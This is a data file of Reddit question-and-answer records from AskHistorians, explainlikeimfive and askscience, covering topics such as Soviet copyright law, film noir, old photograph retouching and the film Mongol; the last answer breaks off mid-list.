{"q_id": "3tkk66", "title": "How much do we truly know about smuggling in Colonial America, and what are some things that we do not know for sure?", "selftext": "I am writing my end of term research paper on smuggling in Colonial America as it is the only thing I've truly been interested in during this semester in my Colonial America class. I am having trouble, however, determining an exact question to focus on and attempt to answer in my research paper. Also, any good recommended reading on this topic? \nThanks in advance!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3tkk66/how_much_do_we_truly_know_about_smuggling_in/", "answers": {"a_id": ["cx734zx"], "score": [2], "text": ["With a very specific topic like that, the best way to look for sources is to think \"one step broader.\" It works best if you do this in multiple dimensions. So for smuggling in colonial America, you could look for information on:\n\n+ smuggling in the 17th-19th centuries\n+ merchants/trade in colonial America, especially sea trade\n+ smuggling, overseas trade in the British Empire ([this AMA](_URL_0_) with Greg O'Malley might be of interest)\n+ crime in colonial America\n\nYou can use the bibliography in the sources you find on those topics to see if there is much out there specifically on smuggling/black market trade. If not, you can pull apart the references in those books and articles, either direct or indirect. That should allow YOU to build up an idea of what scholars have said about smuggling, and decide whether you agree or disagree with their interpretations. That's a good way to write a history paper: bringing together what other people have said into a broader picture that doesn't exist yet, or disagreeing with earlier essays based on outside, additional evidence that shows their interpretation of the major evidence is wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3pcfaz/ama_the_atlantic_slave_trade_especially_human"]]}
{"q_id": "2ssk3t", "title": "how come my car gets these frost patterns?", "selftext": "[Like this.](_URL_0_) When other cars parked near me get covered in frost, it looks uniform, but most of the time my car has these feather like patterns. How does that happen?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ssk3t/eli5_how_come_my_car_gets_these_frost_patterns/", "answers": {"a_id": ["cnsgx7i"], "score": [3], "text": ["It looks like it could be from the way your car was washed and the pattern they used to wipe it. Then the wax or the soap left that pattern, which froze in that pattern. Idk though! "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/qbiq2Vy"], "answers_urls": [[]]}
{"q_id": "6kfznt", "title": "Does writer's block have a neurological foundation?", "selftext": "I'm just wondering if anyone has brain-scanned someone suffering from writer's block.  Can you see a downturn in the various language areas of the brain?  Is it a measurable phenomenon or is it one of those \"too-subjective-to-be-measured\" things?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6kfznt/does_writers_block_have_a_neurological_foundation/", "answers": {"a_id": ["djmblhx"], "score": [9], "text": ["Is writer's block something more nuanced than just temporarily failing to come up with a piece of a composition that you're happy with?\n\nI *don't* imagine it's related to a higher-order equivalent of aphasia.  If it is more nuanced, could you elaborate on what you're imagining?  If it's merely related to something like tunnel-vision, there have been a number of studies specifically on creativity and \"out-of-the-box\" thinking that could be relevant (idiom amusingly appropriate)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5ab6rj", "title": "Did the Soviet Union have Intellectual property laws? If yes, how did it differ from Capitalist countries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ab6rj/did_the_soviet_union_have_intellectual_property/", "answers": {"a_id": ["d9fqc40"], "score": [15], "text": ["Yes. The early Soviet Union adopted laws protecting private property due to its desire to attract foreign investment. International protection of property rights were seen as a foreign policy issue and subordinate to foreign policy.\n\nThe first such decree on intellectual property was made in 1917 and monopolized all patents and copyrights as property of the state, except for a limited six month right reserved to the authors. Between 1917 and 1931, there were frequent almost yearly changes granting rights between 15 years to the author or a five year monopoly to the State. The most consistent principal during this period was generally an acceptance of the Bern Convention of 1886. After the transition period, Soviet copyright law became generally unremarkable and closely mirrored that of civil  law regimes in Europe.\n\nDuring the 1970's, the Soviet Union became a state party to three treaties: the Berne Convention on the Protection of Literary and Artistic Works as amended in 1971; the Universal Copyright Convention (\"UCC\") as amended in 1971, and the 1971 Convention on Protection of the Interests of Producers of Phonograms Against the Illegal Reproduction of their Phonograms. On February 21, 1973, the USSR enacted a series of amendments to its own law to bring it into line with the UCC.\n\nHowever, despite this regime, intellectual property cases were very rare due to the realities of a state controlled publishing industry. Oftentimes, the Soviet government would be both the official copyright holder and the infringing party, rendering much of the copyright law functionally relevant to foreign works but not to domestic authors who assigned their rights to the State to get published. \n\nSource: Boris N. Mamlyuk, Russia  &  Legal Harmonization: An Historical Inquiry into Ip Reform As Global Convergence and Resistance, 10 Wash. U. Global Stud. L. Rev. 535 (2011)\n\ntl;dr Basically, Soviet copyright laws were pretty vanilla and mostly similar to the west after the early revolution, making for a hum drum comparative analysis. The main difference arose from the realities of state control of media and publishing, which made copyright cases exceedingly rare and mostly a moot issue.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "79c6r7", "title": "what is film noir and more specifically what is neo-noir?", "selftext": "How are movies like The Matrix and Chinatown both considered neo-noir?? They seem to be so vastly different. Other examples are LA Confidential and Blade Runner. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/79c6r7/eli5_what_is_film_noir_and_more_specifically_what/", "answers": {"a_id": ["dp0tfjp", "dp0tn7l", "dp17r2h", "dp1da8w", "dp1ddrm", "dp1ekjf", "dp1iydz"], "score": [30, 1308, 42, 9, 13, 10, 2], "text": ["Noir is genre that usually focuses on crime, usually murder motivated by revenge and/or greed. The plots are often hard to follow and involve flashbacks, unreliable narrators, false leads, and other such things. The endings are usually bittersweet at best.\n\n\nThe main character is often male, and either somebody investigating the central crime, or has been falsely accused of it. Very rarely will they have actually committed it, and in the cases where they have, they usually don't know it until late in the movie. The main character is also generally not a \"good guy\" in the traditional sense of the word. Female characters are usually either equally cynical femme fatales, or young and naive. Cops and politicians (excluding the main character, if they are either) are usually corrupt and may even be involved in the crime. The villain is often someone of authority, or somebody very close to the victim; jealous husbands are quite common, for example.\n\nStylistically, they're usually very visually dark a few bright objects to contrast. A lot of the movie will take place at night, there are lots of very obvious shadows, odd camera angles, etc. They were most popular back in the black and white film days, but even color ones will use predominantly dark colors accentuated with a few bright ones here and there.\n\nLike any genre, these are more trends than hard rules that all film noir has to follow. \n\nNeo-noir is a bit harder to pin down, it mostly seems to refer to modern films that borrow themes and styles from film noir. So in that sense, it's less of a genre and more of a way to describe movies that borrow use some elements of noir. Blade Runner is a great example: \n\n**BLADE RUNNER SPOILERS**\n\nThe male lead is a cynical cop investigating a crime (not technically murder but murder is involved) that ends up being all about revenge. Female lead is a femme fatale, and also doesn't know she's a replicant. The story can be hard to follow at times due to involving deception and the POV character beng unaware of a lot of things. Visually, the setting is very dark, but with bright neon lights in places. There are a lot of shadows and odd camera angles.\n\n**END SPOILERS**\n\nOf course, there are other ways that these elements can be used, as well as entirely different ones, which is why many movies that can be describe as neo-noir can be wildly different. For example, The Dark Knight could be described as neo-noir for it's dark themes, focus on crime, pessimistic tone, cynical investigator main character, corrupt cops and politicians, etc. Yet it's a very different movie from Blade Runner.", "Film noir is a genre of movies from the 1940's and 1950's.  These movies were pessimistic, gritty, and dark (noir is French for dark).  The characters, even the protagonists, were often corrupt in some form, such as being alcoholics, lonely, or depressed.  Common characters were corrupt policemen and corrupt politicians.  The plot was often crime based, such as police or a private investigator trying to solve a crime.  The protagonist would often fail to accomplish his goals during the movies, sometimes thwarted by a femme fatale, or by a friend he trusted.  The cinematography would be dark and menacing, for example, a dark and smoky alley in a big but empty city.  Movies like *Double Indemnity* and the *Malatese Falcon* are examples of film noir.\n\nNeo-noir is a modern recreation of those movies.  It follows the same theme is a noir film, but was made after the 1950's.  Movies like *Chinatown* and *LA Confidential* are set in the time period of noir films (the 30's, 40's, and 50s), but were made outside of that time period.  *Blade Runner* has the theme of a noir film, but set in the future.  Other example is *Who framed Roger Rabbit*, which is a noir film set in the 50's, but has cartoon characters.\n\nIn short, if a movie has dark cinematography, corrupt protagonists, an unsolvable mystery or conflict, and if the villains wins or at least force to the \"good guys\" to do bad things, then it is noir.", "In the 1930s, the Motion Picture Association of America introduced the Hays Code, self-imposed standards of decency.  They were fairly strict, not just in terms of thing like nudity, vulgar language or violence.  There was a whole list of things like ridicule of the clergy, sympathy for criminals, and miscegenation, that movies were not allowed to show.  The good guys were supposed to be morally upstanding, the bad guys were supposed to twirl their mustaches and tie damsels to railroad tracks, and at the end, good triumphs over evil.\n\nFilm noir in many ways was a revolt against this, pushing those boundaries as far as they could go.  The protagonist is flawed and morally ambiguous, the villains are often sympathetic, and sometimes it is hard to tell between the two.  As the movie progresses, dark secrets are revealed and at the end of the movie, there are not victors, only survivors.\n\nVisually, they tend to have a dark and gritty sense of realism.  Lots of shadows, meetings in grimy back alloy or smoky backrooms of seedy nightclubs.  They men are hardboiled drinkers prone to violence and the women are venomous seductresses with hidden agendas, all living in an imperfect world with few happy endings.\n\nEven though the Hays code is long gone, many movies have noir elements.  Any plot driven movie with flawed central character search for the truth on the wrong side of the tracks can be considered noir.  *Bladerunner* certain qualifies, as do a lot of the Coen brother's movies.  I would not consider *The Matrix* to be noir, it was too special effect driven, too fantastic, and the central character doesn't really have a dark side.\n\n  \n\n", "Film Noir is a movie genre featuring high contrast lighting, and morally gray characters. It almost always features tropes such as the femme fatale, the grizzled private eye, etc. The plots usually center around a detective trying to solve some sort of murder.\n\nNeo Noir is a niche genre that borrows a lot of plot elements from film noir, but the setting is usually modern day or the future, as opposed to being set in the 50s, etc.", "There's always a lot of debate on what noir is. So much so that it comes up on every noir panel at every mystery con. It's reached the point where it's kind of a joke and people roll their eyes and say things like, \"French for black.\"\n\nI've had my view of it challenged and changed and that's affected my writing and what I focus on. So I think it's an important question.\n\nChris Holm, an excellent thriller and noir author (also did a noir UF series called The Collector through Angry Robot - you should check it out, it's excellent) put it the most succinctly of anyone I've heard. \"Poor options, bad decisions, dire consequences.\"\n\nThere's a difference between noir and hard-boiled that I think gets overlooked a lot. Chandler is hard-boiled, Hammett is hard-boiled (though maybe not his RED HARVEST, but I'm on the fence with that one). Thompson and Goodis are noir. Macbeth is so goddamn noir it should have its own tropes page (ambition, murder, a femme fatale, blackmail, backstabbing, guilt, everything falls apart, a violent end).\n\nHardboiled characters are, as another author, Megan Abbott put very well, tarnished knights. They are good people in bad situations who walk through the muck and come out the other side intact. Philip Marlowe might be more cynical and jaded at the end of The Big Sleep, but he's still largely the same good person he was at the beginning. Sam Spade is rougher around the edges, darker and more morally ambiguous, but he's the same way. Hard-boiled characters operate within the seediness but remain largely untouched by it.\n\nBut noir characters. They're fucked from the word go. They might survive, but they'll survive changed, probably broken. Even if they win they lose.\n\nNoir characters are doomed and they're often doomed by their own hand. Walter Neff in Double Indemnity is a perfect example. \"Yes, I killed him. I killed him for money - and a woman - and I didn't get the money and I didn't get the woman.\" He's backed the wrong horse. And Phyllis Dietrichson, the femme fatale, who's using him, and he KNOWS he's being used and he goes along with it anyway, is just playing him. And in the end, they gun each other down.\n\nMore tragic is when it's bad decisions for the right reasons and it all goes to shit, anyway. Take John Rector's THE COLD KISS about a young couple trying to escape a bad situation and run into a hitchhiker who pays them $500.00 for a ride, only to die in their backseat with a fuckton of money. They could report it, let it go, give the cops the money and walk away. But they've got a baby on the way. They're trying to make a new life. They're stuck in a motel in Nebraska in a blizzard and that money could really com in handy. But they should really do something about this corpse.\n\nYou can probably guess how that turns out.\n\nThe weird thing about noir, though, is how hopeful it is. It's surprisingly optimistic. Noir characters are driven by hope and optimism. I know that sounds weird, but think about it. These characters are doomed. They can't be anything BUT doomed. It's who they are. It's in their DNA. So why don't they just roll over and give up? Because they have hope. They might be screwed, they might even know they're screwed, but they can't let it go. That hope's too tenacious.\n\nr/Fantasy/comments/3a5vjm/-/csa2laj", "Just to add in a small detail - film noir wasn't explicitly produced as a \"genre\", in the way that Hollywood studios at the time would make, say, a Western or a Musical. For Westerns and Musicals and other genres, the studios intentionally set out to make easily categorizable films that were similar in theme and style to other successful films, so that fans of that genre would go see new movies each week. \n\nConversely,  Noir was a term used originally by French critics to describe a tendency that they were noticing in American films (which began screening more frequently in European cinemas after WWII) that seemed to expand on the style and themes of French Poetic Realism in the '30s and '40s. That's why it's a lot trickier to define in explicit terms, because \"noir\" films were labelled as such after the fact, rather than intentionally produced as a distinct genre. ", "I wouldn't say the protagonists are \"corrupt\", but rather they are morally grey, social outcasts with a cynical view. They have a unique posting in society, and the cynical view on the world has grown from them knowing the truth of how the system really works.\nThey're usually affiliated with law enforcement, but not officially part of it- such as Private Eyes and the likes - though they will often bend the law themselves and use their status of being social outcasts to move around all socialetal circles, be it; the ciminal underworld, Upper echelons or even just the common folk. No side completely rejects them or accepts them, which gives them a fair deal of room to manoeuvre in the world. This coupled with their intelligence and cunning means they are able to talk their way into areas most other law enforcement or criminals couldn't do, often skirting the law in the process themselves.\nFor the time; drinking, smoking and other vices of the protagonist were seen as amoral- like you said, it corrupts them - but when compared with the rest if the world, which is initially presented as being Black  &  White morally, these vices just show that the protagonist is human as they will go into reveal the true underbelly of society through a cynical lens and exposes the much darker truths lurk below. The Protagonist's vices stem from them rejecting the values of the world - they quit the police force because of the corruption/ were driven out for not conforming. That's why they're alone, they refuse to conform with the corrupt system. They drink to forgot the horrors they've seen. They smoke to release stress of knowing about what really goes on behind the scenes.\nThe Femme Fatale mirrors the protagonist in this regard. They reject society's expectation of what a women is, and how they should act; they smoke, they drink , they wear revealing clothing and they don't submit to men fully - rather, they use these traits to find common ground with the Protagonist, and will manipulate by seducing them, or else with their cunning to then use them for their end.\nThe cinematography supports this too, which you touched on briefly but I feel it needs elaboration since it is such a huge, iconic element of the genre. The Chiascuro lighting style which contrasts high key lighting to dark shadows visually shows the morality of the film - the world is presented as black  &  White, light vs dark - with the Protagonist right in the middle, only being lit from one side, showing that they're morally grey and are scrambling in the dark to uncover the truth.\nThis applies to the Femme Fatale too. When first introduced, they're usually entirely back-lit with just their outline showing, blocking the light source. For the protagonist, the Femme Fatale is an enigma at first, an unknown quantity and they're now aware of them, but do not yet know who they are or what their motives are. The Femme Fatale is covering the truth - like how they block the light. The Protagonist is in the dark with the Femme Fatale, like how they're just are a shadow visually, that is distracting from and actively obscuring the truth behind them.\nThis is just my interpretation, but I see the Protagonist as rejecting the system and trying to fight it - their own vices showing their human side, that they are struggling to stop the rampant corruption of the world. Meanwhile, the Femme Fatale wants to keep the status quo, seeing as they are often part of the sinister plot in Noir Films, and are trying to distract/ corrupt the Protagonist from revealing and exposing the the truth.\nNeo-noir continues these trends, but updates then for the modern audience. Gone is the Black  &  White, but the Chiascuro lighting stays - like with Denis Villeneuve's Sicario, or Ridley Scott's BladeRunner. In fact, the inclusion of colour can further some of moral devides in the narrative - such as the opulent gold yellows of the Tyrell Tower, showing the extreme wealth that contrasts to the blues and greys of the city below that reflects the extreme poverty.\nThe narrative core of Neo-noir stays the same of a Society in Crisis, but it is the themes of the crisis that have changed. Neo-noir has moved on from Modern Themes of a moral crisis in society (usually some form of greed/lust/ corruption in traditional Noir) to Post-Modern themes such as Blade Runner's existential themes that challenge societal norms, superficially, of what is to be human and on deeper level the class devides in society and the dehumanising of groups to be exploited. Or alternatively the post-modern themes of 'Drive' which challenges society's view on what a protagonist/hero is - which I won't spoil because it's an excellent film\nApologies if any of this is a little incoherent and for any rambling paragraphs, it's late where I am and I'm half asleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "bs8dps", "title": "how does the software honey make money.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bs8dps/eli5_how_does_the_software_honey_make_money/", "answers": {"a_id": ["eok44lj"], "score": [3], "text": ["Most likely affiliate programs... they get a cut of sales they refer to the sites if you end up buying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jdmze", "title": "Why do you never see 'blemishes' in historical photographs of people?", "selftext": "I know it's a random question, and maybe better posed to a medical expert; I was looking through a book of portraits from the late 1800s - early 1900s and it dawned on me that nobody ever has acne or any such blemishes on their face (even the teens). Is it that acne is a relatively new thing or is it that those with skin conditions weren't photographed?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jdmze/why_do_you_never_see_blemishes_in_historical/", "answers": {"a_id": ["cbdn4q0", "cbdp8xk", "cbe4i2j"], "score": [11, 69, 3], "text": ["Acne has always a problem, although there are things in our modern lives (think of hormonal pills and pollution) that aggrevate skin issues. Meanwhile today we also have skin care products that are meant to help.\n\nAs you've seen, old cameras took shots in black and white, and were of lower quality than our cameras today. With a colorless, less clear image, it's more difficult to see certain imperfections in the skin. Another factor that should be noted is that getting your picture taken wasn't as simple as whipping out a phone camera, so you probably would have gotten dressed up and made up before going to the photographers.", "A lot of historical photographic processes were actually much higher-resolution than the iphone photos of today. ([These](_URL_0_) small daguerreotype plates making up a panorama of Cincinnati have an amazing level of detail under magnification, for example.) However, they may not have registered facial blemishes in the expected way because the processes were only sensitive to blue tones, not red. \n\nIn later processes where a glass negative was used to print a paper positive, retouching the negative with graphite was common to cover blemishes. A lot of studio portraits from the early 20th century have even, glowing skin for this reason. [This] (_URL_1_) article mentions retouching about a third of the way down, and is a good reminder that the manipulation of photos goes back a lot farther than photoshop. ", "During the late 1800s- early 1900s, formal portraits would have been shot on film or plates that were at least 4x5 inches.  This allowed for negative retouching- blemishes that appear dark were retouched on the negative so that they appeared lighter, then any inconsistency blended with dye on the print.  The time and cost involved with producing a portrait was quite enough to justify the time and skill of retouching it.  \n\nQuite often, the retouching materials on the print have aged differently than the original silver, the book publishers may have judged these distracting and re- retouched them, or they may have had a set of photos in good condition.\n\nNewspaper photos or something like military service record photos, from a slightly later time period would be a good way to gauge acne, photo portraits are no more accurate in that regard than oil paintings.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wired.com/magazine/2010/07/ff_daguerrotype_panorama/", "http://notesonphotographs.org/index.php?title=Osterman,_Mark._%22Photographic_Truth%3F%22"], []]}
{"q_id": "90kz5h", "title": "Does sexual arousal have any effect on kidneys function and urine?", "selftext": "I as a guy everytime I have an orgasm I feel a strong urge to pee almost right after, even If I emptied my bladder right before and I haven\u2019t drank anything in a while, \n\nDuring sex after my SO has an orgasm she always goes to pee right after it happens, and tells me that she just can\u2019t help it,\n\nI know how the blood filtration and kidneys mechanics work, but I\u2019m wondering if being in a state of arousal (or orgasm maybe) may make urine production quicker or something like that\n\nAnd if it does I\u2019d like to ask how, why and since what age does it happen?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/90kz5h/does_sexual_arousal_have_any_effect_on_kidneys/", "answers": {"a_id": ["e2sr6sj"], "score": [6], "text": ["From the couple minutes I did research on this, it seems one of the primary reasons people pee after orgasm is sort of \u201cpipe cleaning\u201d, for lack of a better term.\n\nDuring sex, lots of things are exchanged, including, among other things, bodily fluids and bacteria. By urinating, it gets rid of a lot of this unwanted matter. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3r18jf", "title": "why do glowsticks crack when you bend them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r18jf/eli5_why_do_glowsticks_crack_when_you_bend_them/", "answers": {"a_id": ["cwk0cw6", "cwk0e8t", "cwk1y0n"], "score": [69, 10, 10], "text": ["There are two chemicals in a glow stick. One of the two is isolated within another, smaller container inside the main glow stick. The cracking is that container breaking, allowing the two chemicals to mix. When they do mix, they release a glowing light.", "The glow is a reaction between two chemicals inside the stick. That glow only lasts for so long so you want to mix those chemicals at the time you need it. \n\nThe crack is a glass vial inside the stick that holds one of the reacting chemicals. You crack it, the chemicals mix and produce a glow. ", "Hydrogen peroxide is inside the tube that cracks. \nSee _URL_0_ for more details."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/tItOOpyJP5k"]]}
{"q_id": "5r0kjo", "title": "how does using your brain make it stronger?", "selftext": "How can you force yourself to think more?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5r0kjo/eli5_how_does_using_your_brain_make_it_stronger/", "answers": {"a_id": ["dd3jqk8"], "score": [2], "text": ["I'm no neuroscientist, but I took a couple related courses in college. \n\nThe general principle is called \"synaptic plasticity\" which basically means that transmission of signals within your brain strengthens or weakens over time as a function of activity. \n\nA \"synapse\" is the connection between two neurons through which electrical potential is transmitted from one neuron to the next. As a specific part of the brain is used, the synapses within that channel become stronger through a variety of mechanisms, including increased quantities of neurotransmitters released by the axon terminals (sort of the \"tail end\") of the pre-synaptic neuron and enhanced responsiveness of receptors within the dendrites (\"head\") of the post-synaptic neuron. \n\nLet's put this into football terms: your pre-synaptic neuron is your quarterback, let's say...Dak Prescott. Your post-synaptic neuron is a receiver, Dez Bryant. Early in the season, Prescott didn't throw to Bryant all that often, because the chemistry/connection, the \"synapse\" per se, wasn't great. As they practiced together and gained trust in each other, that connected strengthened, and they became a more effective pair, both because Dak got a better idea of where to put the ball for Dez to catch it (bigger signal from the pre-synaptic neuron), and Dez had a better idea of where the ball was going to be and when (better receptiveness of the post-synaptic neuron). Likewise, if they stop practicing/playing together for a while, this relationship will diminish, and they will have to rebuild the connection just as you will with particular connections/pathways in your brain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1hk9rv", "title": "How much of Mongol can be considered an accurate portrayal of the early life of Temudjin?", "selftext": "I've recently watched Mongol again, and while it is an amazing movie, I feel the portayal of the early life of Genghis Khan might be overly dramatized, considering he seems to get captured and escapes certain death every 10 minutes or so. \n\nI'm currently listening through the entire Wrath of the Khans saga of Hardcore History, yet there doesn't seem to be a whole lot of information available when it comes until he is pronounced Khan. \nThis seems logical considering the general illiteracy of the steppe people, but I'm curious as to what information is available. \n\nThe entire ruling period of the Khans, from Genghis to Kublai is something I'd like to know a lot more of... What is some of the primary recommend reading on the subject? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hk9rv/how_much_of_mongol_can_be_considered_an_accurate/", "answers": {"a_id": ["cav6enq", "cavbhnn"], "score": [4, 113], "text": ["B\u00f6rte,Jochi and Jamukha were real people.\n\nIt is true that Temujin never did destroy the moanastry and it is true that he accepted Jochi as if he were his own son.\n\nJamukha was his 'blood brother' who did actually turn against him.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "Actually we do have a surprising amount of information for the life of an illiterate steppe-dweller. There was no tradition of history or literature beyond the oral in Mongolia pre-Genghis, but because they quickly saw the benefits of the written word when it came to ruling a huge, multiethnic empire they adopted writing in his lifetime. Our primary source is the *Secret History of the Mongols*. \"Secret\" because it was only intended to be read by the imperial family and court. It's essentially a biography of Genghis Khan/Temujin, apparently written shortly after his death by someone in his inner circle. Because of its limited audience and closeness to the actual events it's remarkably straightforward and earnest. Not all true, of course, but far from hagiography \u2013 it mentions unflattering details like Temujin being scared of dogs, for instance.\n\nI remember the film as being reasonably accurate with a few inexplicable deviations. If anything, Temujin actually got into more near-death scrapes than the film portrays. The Mongol steppe at this time was an extremely violent, fractious and generally dangerous place. \n\nBut it's been a long time, so I decided to re-watch it and give you a proper answer. Here's my stream-of-consciousness historical commentary (mostly from memory, so forgive me if I make some errors of my own):\n\n* Right off the bat, Temujin was never imprisoned by the Tangut. I've no idea where this comes from. Presumably to give him an excuse for coming back later and destroying their civilization? \n\n* Temujin narrates that \"[Yusugei] stole my mother from the Merkits\". This slightly misleading: his mother (Hoelun) belonged to the Olkhunut, and Yusugei abducted her when she was on her way to marry a Merkit.\n\n* This thing about Temujin getting hitched to Borte (also of the Olkhunut) on a whim on the way to getting a Merkit bride is made up. Yusugei was taking Temujin to live with Borte's family, which was part of the marriage contract. It was traditional for the Borjigin (Temujin's lineage) to take wives from the Olkhunut, and the marriage itself was doubtless arranged beforehand. It was also very a much a political match between Yusugei and Borte's father Dai-Sechen, so I can't imagine there was a line-up involved. \n\n* Might as well clear this one up early: no the Mongols weren't scared of thunder. Apparently William of Rubrick mentions this in his later quasi-ethnography of the Mongol empire, but I've never seen it given any credence in scholarly works and it doesn't play any role in the *Secret History*. \n\n* As I just mentioned, the point of the trip was to leave Temujin with his bride's family. So he wasn't present on the return trip when Yusugei was poisoned by the Tatars (in the film they don't mention they're Tatars, just \"enemies\", but this explains Temujin's rather extreme treatment of the Tatars later in his life). The rest is pretty accurate though, for example it was a taboo to do harm to someone if you made camp together while travelling.\n\n* When Yusugei's followers are robbing and abandoning the family, Hoelun says \"my son is khan now\", referring to Temujin. This is wrong on a number of levels. First, Yusugei was never a khan, he led a small band of warriors, not an entire people. Second, power wasn't hereditary like that, it would have been absurd for his father's men to follow a child. Finally, Temujin had an older half-brother who was head of the family before him.\n\n* It's interesting that they put the \"don't kill children that aren't taller than a cart-wheel\" thing here. As far as I know, it was actually an innovation of Temujin's when he was committing semi-genocide against the Tatars (see what I mean by extreme treatment?) and later became part of his law code. There's no indication that it was a custom before then.\n\n* Most of Temujin's family are notably absent in the next sequence - his brothers, his father's other wife, and especially his eldest half-brother Bekhter. Temujin murdering him was probably the most notable event in his childhood.\n\n* It's unclear exactly how Temujin and Jamukha knew each other and came to be blood-brothers in their childhood. This is as plausible a story as any, I suppose. Temujin's early and lasting attachment to the \"sacred mountain\" (Burkhan Khaldun) is accurate; it's probably where he ended up buried.\n\n* The way he preys to Tengri for help there is a *very* simplified and westernised portrayal of Mongol religion, though. It wasn't monotheism, and it wasn't polytheism, it was animistic and shamanistic. Tengri was a personification of the sky, not a personal god, and discourse with the spiritual realm was something that had to be done through specialist mystics, you couldn't just start talking to them yourself. Genghis Khan's Empire (in common with many other steppe peoples) did come to believe it had the blessing of Tengri, but not in the direct ask-and-you-shall-receive monotheistic sense; it was more akin to the Chinese concept of the Mandate of Heaven (and, I'll shamelessly speculate, probably influenced by it).\n\n* Temujin was indeed held captive for a period in his childhood \u2013 not by his own clan, though, by the Tayichuud. His escape was more convoluted than the way he just runs off in the film. A sympathetic family took off his cangue when it was their turn to watch him. He ran off, but knew with his captors on horseback he'd never outrun them, so he hid in a river for a while, then doubled back and hid in the tent of the not-too-happy family that had set him free (reasoning that they couldn't turn him in without exposing their complicity) and finally extorted a horse from them. Later he came back to reward the family and their young son Chilaun became one of his foremost generals.\n\n* The second period of captivity, when he's an adult, never happened.\n\n* Genghis actually met Bo'orchu when the latter helped him chase down some horse thieves, but the gist of this encounter is accurate \u2013 Bo'orchu was a Good Samaritan and helped a down-on-his-luck Temujin, and like Chilaun went on to become one of his top generals.\n\n* Temujin was probably more interested in Borte's dowry (the famous Black Sable Coat) than the woman herself at this point. Temujin's family being so poor, this was one of their only tangible assets at this point, and giving it to his father's old blood-brother and patron Toghrul Khan was a very shrewd move that kick-started Temujin's political career.\n\n* It's strange then that Toghrul Khan is absent in the film, and his role is merged with Jamukha. I don't think this dynamic works very well. In reality, Jamukha and Temujin were equals and rivals for leadership amongst the Mongols, who were weak, fractured and subordinate to the Keraits. The Kerait khan Toghrul played them off each other for decades, until eventually he threw his lot in with Jamukha and against Temujin. It doesn't make sense to me how in the film the battle for overlordship of the steppes suddenly becomes a battle between Temujin and Jamukha.\n\n* I suppose the biggest Hollywoodism is the way the film is turned into a love story between Temujin and Borte. He was undoubtedly fond of Borte and she always had the pre-eminent position as his first wife and mother of his heirs, but at the end of the day it was an arranged marriage, Temujin took many, many other wives and the whole chivalric romance theme is just really anachronistic. Her capture by the Merkits illustrates this the best. In the film, Temujin nobly attempts to fight off the superior force with a stick, and later only leaves her when he's knocked unconscious by an arrow to the back (does this happen??) and Borte nobly sacrifices herself. In reality, Temujin and his brothers realised they had no chance of winning against the Merkits and fled as soon as they saw them coming, leaving not only Borte but Temujin's elderly stepmother behind (the latter doesn't appear in the histories after this episode). Pride and sentiment weren't really great survival strategies in the world Temujin grew up in, and this was far from the last time he adhered to the maxim \"he that fights and runs away, may live to fight another day\". Similarly, Borte's rescue was as much about Toghrul Khan and Jamukha having an excuse to plunder the Merkits as it was about Temujin's vengeance.\n\n* I like the way the Merkits are portrayed as forest people with crazy animal skin masks, but in reality they were steppe herders just like the Mongols. The depiction is more like the Buryats and Tungusic peoples that lived further north and weren't considered \"people of the felt-walled tents\" like the Mongols, Merkits, Tatars, etc. The Mongols set out to subjugate them only after Temujin became Genghis Khan.\n\n* A big sword fight, really? The film's called \"Mongol\"... where are the horses? The compact bows?\n\n* It's implied that Temujin starts to win more support amongst the men in the army than Jamukha because he's fair in giving out spoils and generally a better leader. This is the first hint in the film that Temujin did things differently from his rivals \u2013 dividing up spoils fairly and efficiently, looking after widows, disregarding tribal affiliation and incorporating defeated people into his nation as equals, his law code, etc. \u2013 and it's true all these things won him support in his long struggle with Jamukha. But the way it started was much more Machiavellian. Temujin originally became a contender for khan of the Mongols because a coalition of elders from his clan who resented Jamukha's rising power viewed him as a useful puppet. He had the right lineage, but he was a political nobody without much wealth or a power base of his own. \n\n* The film understandably has Jamukha as the villain, but really it was Temujin who broke with his allies Toghrul and Jamukha in order to contest his blood brother's position as khan. The Secret History justifies this with various slights they supposedly committed on him, but this is a recurring pattern \u2013 it often has Temujin pre-emptively betraying people who were supposedly about to betray him. People have suggested this shows the he was either slightly paranoid or in his later life not too proud of having stabbed so many people in the back. That was very much the way things were done in the steppe though.\n\n* It's accurate that Temujin was defeated by Toghrul/Jamukha at first (and on many other occasions besides), but he was never captured and sold to the Tanguts.\n\n* The laws he talks about briefly are the [Yassa](_URL_1_). It was indeed an important part of what set Mongols apart.\n\n* Having an entire army surrender to a thunder storm is of course, ridiculous. It occurs to me that there's a surprising lack of violence in this film considering its the story of how the bloodiest leader in all of history united one of the bloodiest people in all of history in a bloody, decades-long war. And again, where's the horseback archery!?\n\n* The whole 